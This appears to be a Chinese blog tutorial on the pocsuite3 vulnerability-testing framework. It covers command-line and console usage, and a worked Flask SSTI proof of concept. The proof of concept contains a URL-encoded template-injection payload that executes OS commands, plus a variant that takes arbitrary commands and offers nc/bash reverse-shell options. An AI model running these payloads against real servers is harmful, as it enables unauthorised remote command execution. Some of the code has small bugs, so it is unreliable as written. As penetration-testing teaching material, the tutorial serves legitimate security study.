pocsuite简单学习


简介

读读英文…

pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the Knownsec 404 Team. It comes with a powerful proof-of-concept engine, many powerful features for the ultimate penetration testers and security researchers

Pocsuite有两种交互模式:

  • 一个是命令行模式类似我们所知的sqlmap的界面
  • 另一个是控制台交互模式类似w3af或者matasploit的界面。

安装

github地址:https://github.com/knownsec/Pocsuite3

也可通过pip安装:pip install pocsuite3

安装完成后测试是否安装成功:

pocsuite -h        # pip安装的情况
python cli.py -h    # 适用于下载并解压zip压缩包的情况

基本使用

命令行模式下常用命令:

pocsuite -u http://example.com -r example.py -v 2 # 基础用法 v2开启详细信息
pocsuite -u http://example.com -r example.py -v 2 --shell # shell反连模式,基础用法 v2开启详细信息
pocsuite -r redis.py --dork service:redis --threads 20 # 从zoomeye搜索redis目标批量检测,线程设置为20
pocsuite -u http://example.com --plugins poc_from_pocs,html_report # 加载poc目录下所有poc,并将结果保存为html
pocsuite -f batch.txt --plugins poc_from_pocs,html_report # 从文件中加载目标,并使用poc目录下poc批量扫描
pocsuite -u 10.0.0.0/24 -r example.py --plugins target_from_cidr # 加载CIDR目标
pocsuite -u http://example.com -r ecshop_rce.py --attack --command "whoami" # ecshop poc中实现了自定义命令

verify和attack两种POC模式

在使用Pocsuite的时候,我们可以用–verify参数来调用_verify方法,用–attack参数来调用_attack方法。

# POC内部方法如下
def _attack(self):
    result = {}
    #Write your code here
    return self.parse_output(result)

def _verify(self):
    result = {}
    #Write your code here
    return self.parse_output(result)

verify 模式:验证目标是否存在漏洞:

#  -r POC 加载POCfile 或者 remote from seebug websit
#  -u URL
pocsuite -r tests/poc_example.py -u http://www.example.com/ --verify

attack 模式:向目标发起有效的攻击:

pocsuite -r tests/poc_example.py -u http://www.example.com/ --attack

批量验证,将url写到一个txt:

# -f url_file(多个url)
pocsuite -r test/poc_example.py -f url.txt --verify

加载 tests 目录下的所有 PoC 对目标进行测试(可以充当扫描器角色):

pocsuite -r tests/ -u http://www.example.com --verify

使用多线程,默认线程数为1:

pocsuite -r test/ -f url.txt --verify --threads 10

使用shell交互模式,对目标进行远程控制:

pocsuite -u http://example.com -r example.py -v 2 --shell

从seebug下载poc

# -c configfile 加载选项from a configuration INI file

如果是压缩包解压zip源码的方式,运行脚本方式如下,切换到pocsuite3目录,运行cli.py文件:

python cli.py -u x.x.x.x -r example.py --verify

一些模块接口

--dork (默认为zoomeye搜索搜索引擎)
--dork-zoomeye 搜过关键字
--dork-shodan 搜索关键字
--dork-censys 搜索关键字
--max-page 多少页
--search-type  搜索类型选择API,Web or Host
--vul-keyword seebug关键词搜索
--ssv-id seebug漏洞编号
--lhost shell模式反弹主机
--lport shell模式反弹端口
--comparison 比较两个搜索引擎


# eg:从ZoomEye中调用host批量验证某个POC:
pocsuite -r weblogic_CVE-2017-10271.py --dork 'weblogic' --max-page 5 --thread 20 --verify

Optimization 其他选项

--plugins 加载插件
--pocs-path     poc地址
--threads      开启线程      
--batch      自动默认选项
--requires      检测需要安装的模块
--quiet     没有logger
--ppt   隐藏敏感信息

console模式

poc-console进入console模式

Global commands:
        help  帮助
        use <module>  使用模块
        search <search term> 搜索模块
        list|show all   显示所有模块
        exit 退出
  Module commands:
        run  使用设置的参数运行选中的脚本
        back 返回上一步
        set 参数名 参数值(当前模块)
        setg 参数名 参数值(所有模块)
        show info|options|all 打印information,options
        check 使用--verify模式
        attack 使用--attack模式
        exploit 使用--shell模式

其他参数

optional arguments:
  -h, --help            show this help message and exit
  --version             Show program's version number and exit
  --update              Update Pocsuite
  -v {0,1,2,3,4,5,6}    Verbosity level: 0-6 (default 1)

Target:
  At least one of these options has to be provided to define the target(s)

  -u URL [URL ...], --url URL [URL ...]
                        Target URL (e.g. "http://www.site.com/vuln.php?id=1")
  -f URL_FILE, --file URL_FILE
                        Scan multiple targets given in a textual file
  -r POC [POC ...]      Load POC file from local or remote from seebug website
  -c CONFIGFILE         Load options from a configuration INI file

Mode:
  Pocsuite running mode options

  --verify              Run poc with verify mode
  --attack              Run poc with attack mode
  --shell               Run poc with shell mode

Request:
  Network request options

  --cookie COOKIE       HTTP Cookie header value
  --host HOST           HTTP Host header value
  --referer REFERER     HTTP Referer header value
  --user-agent AGENT    HTTP User-Agent header value
  --random-agent        Use randomly selected HTTP User-Agent header value
  --proxy PROXY         Use a proxy to connect to the target URL
  --proxy-cred PROXY_CRED
                        Proxy authentication credentials (name:password)
  --timeout TIMEOUT     Seconds to wait before timeout connection (default 30)
  --retry RETRY         Time out retrials times.
  --delay DELAY         Delay between two request of one thread
  --headers HEADERS     Extra headers (e.g. "key1: value1\nkey2: value2")

Account:
  Telnet404、Shodan、CEye、Fofa account options

  --login-user LOGIN_USER
                        Telnet404 login user
  --login-pass LOGIN_PASS
                        Telnet404 login password
  --shodan-token SHODAN_TOKEN
                        Shodan token
  --fofa-user FOFA_USER
                        fofa user
  --fofa-token FOFA_TOKEN
                        fofa token
  --censys-uid CENSYS_UID
                        Censys uid
  --censys-secret CENSYS_SECRET
                        Censys secret

Modules:
  Modules(Seebug、Zoomeye、CEye、Fofa Listener) options

  --dork DORK           Zoomeye dork used for search.
  --dork-zoomeye DORK_ZOOMEYE
                        Zoomeye dork used for search.
  --dork-shodan DORK_SHODAN
                        Shodan dork used for search.
  --dork-censys DORK_CENSYS
                        Censys dork used for search.
  --dork-fofa DORK_FOFA
                        Fofa dork used for search.
  --max-page MAX_PAGE   Max page used in ZoomEye API(10 targets/Page).
  --search-type SEARCH_TYPE
                        search type used in ZoomEye API, web or host
  --vul-keyword VUL_KEYWORD
                        Seebug keyword used for search.
  --ssv-id SSVID        Seebug SSVID number for target PoC.
  --lhost CONNECT_BACK_HOST
                        Connect back host for target PoC in shell mode
  --lport CONNECT_BACK_PORT
                        Connect back port for target PoC in shell mode
  --comparison          Compare popular web search engines

Optimization:
  Optimization options

  --plugins PLUGINS     Load plugins to execute
  --pocs-path POCS_PATH
                        User defined poc scripts path
  --threads THREADS     Max number of concurrent network requests (default 1)
  --batch BATCH         Automatically choose defaut choice without asking.
  --requires            Check install_requires
  --quiet               Activate quiet mode, working without logger.
  --ppt                 Hiden sensitive information when published to the

编写POC插件

详见pocsuite3下docs目录

POC注意事项

  • 参照模版来写:模版地址:https://www.seebug.org/contribute/vul
  • 引入基础库,尽量避免第三方库。
  • 比较好的POC符合:
    • 随机性:检测的数据,发送的数据要随机
    • 通用性:考虑适应版本,各种不同的情况,操作系统等。
    • 确定性:准确率的问题,这个POC一定能检测出漏洞来吗?
  • 关于CEYE的使用:监视服务以进行安全测试
    有时一些漏洞的检测并没有数据回显,如SQL盲注,如命令执行无回显等等。这时可以借助DNS查询nslook或者curl来监控数据。CEYE为我们提供了这样一种服务,地址:http://ceye.io。

举例

这里以Flask SSTI为例:

"""
功能:使用pocsuite对flask模板注入进行检测和利用
@author: 剑胆琴心
pocsuite -r flask_ssti_test.py -u http://192.168.0.105:8000  --verify


__class__  返回类型所属的对象(类)
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用
"""
from pocsuite3.api import Output, POCBase, register_poc, requests, logger, VUL_TYPE, POC_CATEGORY
# from pocsuite3.api import get_listener_ip, get_listener_port
# from pocsuite3.api import REVERSE_PAYLOAD
# from pocsuite3.lib.utils import random_str


class FlaskPOCEXP(POCBase):
    '''
    0.编写的文件名应该符合poc命名规范:"组成漏洞应用名_版本号_漏洞类型名称", 其中文件名中所有字母改为小写,所有特殊符号改为下划线
    1.编写DemoPOC类,继承自POCBase类
    2.填写POC信息字段(如下):
    '''
    vulID = '0' # ssvid ID,如果是提交漏洞同时提交POC,写成0
    version = '1'   # 默认为1
    author = ['剑胆琴心']     # POC作者的名字
    vulDate = '2021-01-11'  # 漏洞公开的时间,不明确时可以写今天(我瞎写的时间)
    createDate = '2021-01-11'
    updateDate = '2021-01-11'
    references = ['http://www.xpshuai.cn']  # 漏洞地址来源,0day可以不写
    name = 'Python Flask SSTI(服务端模板注入)漏洞'      # POC名称
    appPowerLink = 'http://www.xpshuai.cn'   # 漏洞厂商的主页地址
    appName = 'Flask'       # 漏洞应用名称
    appVersion = 'All'      # 漏洞影响版本
    # vulType = VUL_TYPE.OTHER      # 漏洞类型(这里我瞎选的)
    desc = '''
        SSTI(Server-Side Template Injection)服务端模板注入,
        就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式
    '''
    samples = ['']  # 漏洞样例,使用poc测试成功的网站
    # PoC 第三方模块依赖说明。PoC 编写的时候要求尽量不要使用第三方模块,如果必要使用,请在 PoC 的基础信息部分,增加 install_requires 字段,按照以下格式:install_requies = [pip时候的模块名, pip时候的模块名]填写依赖的模块名。
    install_requies = []

    def _verify(self):
        '''
        验证模式
        '''
        result = {}
        # 这里写验证代码...
        path = "/?name="
        url = self.url + path
        payload = "{{22*22}}"
        # 第一次请求
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "484" in resq.text:
                result['VerifyInfo'] = {}   # 创建自定义的字典信息
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Payload'] = payload
        except Exception as e:
            pass
        return self.parse_output(result)

    def _attack(self):
        '''
        攻击模式
        '''
        result = {}
        path = "/?name="
        url = self.url + path
        payload = "%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D"
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "www" in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            pass
        return self.parse_output(result)

    def parse_output(self, result):
        '''
         检测返回结果数据统一封装到这个方法里进行处理
         '''
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


# 注册POC类,千万不要忘记哦~~~
register_poc(FlaskPOCEXP)

若是压缩包方式下载的:放到pocsuite下的pocs目录,然后python cli.py xxxxx方式运行

若是pip方式下载的:按下面方式

验证漏洞:

pocsuite -r flask_ssti_test.py -u http://192.168.0.105:8000  --verify

攻击:

pocsuite -r flask_ssti_test.py -u http://192.168.0.105:8000  --attack

command外部参数传递。

改进一下,希望可以接收用户输入的命令行参数,对目标系统实现半交互控制

"""
功能:使用pocsuite对flask模板注入进行检测和利用
@author: 剑胆琴心
@使用方法:
pocsuite -r flask_ssti_test.py -u http://192.168.0.105:8000  --verify
pocsuite -r flask_ssti_test.py -u http://192.168.0.105:8000  --verify  --command 'id'

"""

from collections import OrderedDict
from pocsuite3.api import Output, POCBase, register_poc, requests, logger, VUL_TYPE, POC_CATEGORY, OptDict
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str


class FlaskPOCEXP(POCBase):
    '''
    0.编写的文件名应该符合poc命名规范:"组成漏洞应用名_版本号_漏洞类型名称", 其中文件名中所有字母改为小写,所有特殊符号改为下划线
    1.编写DemoPOC类,继承自POCBase类
    2.填写POC信息字段(如下):
    '''
    vulID = '0' # ssvid ID,如果是提交漏洞同时提交POC,写成0
    version = '1'   # 默认为1
    author = ['剑胆琴心']     # POC作者的名字
    vulDate = '2021-01-11'  # 漏洞公开的时间,不明确时可以写今天(我瞎写的时间)
    createDate = '2021-01-11'
    updateDate = '2021-01-11'
    references = ['http://www.xpshuai.cn']  # 漏洞地址来源,0day可以不写
    name = 'Python Flask SSTI(服务端模板注入)漏洞'      # POC名称
    appPowerLink = 'http://www.xpshuai.cn'   # 漏洞厂商的主页地址
    appName = 'Flask'       # 漏洞应用名称
    appVersion = 'All'      # 漏洞影响版本
    # vulType = VUL_TYPE.OTHER      # 漏洞类型(这里我瞎选的)
    desc = '''
        SSTI(Server-Side Template Injection)服务端模板注入,
        就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式
    '''
    samples = ['']  # 漏洞样例,使用poc测试成功的网站
    install_requies = []

    def _options(self): # 接收用户外部输出参数command
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _verify(self):
        '''
        验证模式
        '''
        result = {}
        # 这里写验证代码...
        path = "/?name="
        url = self.url + path
        payload = "{{22*22}}"
        # 第一次请求
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "484" in resq.text:
                result['VerifyInfo'] = {}   # 创建自定义的字典信息
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Payload'] = payload
        except Exception as e:
            pass
        return self.parse_output(result)

    def _attack(self):
        '''
        攻击模式
        '''
        result = {}
        path = "/?name="
        url = self.url + path
        cmd = self.get_option("command")    # 获取command参数
        payload = "%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22' "+ cmd + "'%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D"
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "www" in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            pass
        return self.parse_output(result)


    # 检测返回结果数据统一封装到这个方法里进行处理
    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


# 注册POC类,千万不要忘记哦~~~
register_poc(FlaskPOCEXP)

运行:

pocsuite -r flask_ssti_test.py -u http://192.168.0.105:8000  --verify  --command 'whoami'


文章作者: 剑胆琴心
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 剑胆琴心 !
评论
 上一篇
Java学习之数组 Java学习之数组
数组 数组(Array),是多个相同类型数据按一定顺序排列的集合,并使用一个名字命名,并通过编号的方式对这些数据进行统一管理。 数组本身就是引用数据类型,而数组中的元素可以是任何数据类型。 创建数组对象会在内存中开辟一整块连续的空间,而数组
2021-01-15
下一篇 
Web安全简要思维导图 Web安全简要思维导图
前几天重新读了一下道哥的《白帽子讲Web安全》,于是做了个粗略的思维导图: xmind原始格式地址:https://www.jianguoyun.com/p/DX5jC4wQ59WFCBjWvtYD document.q
2021-01-03
  目录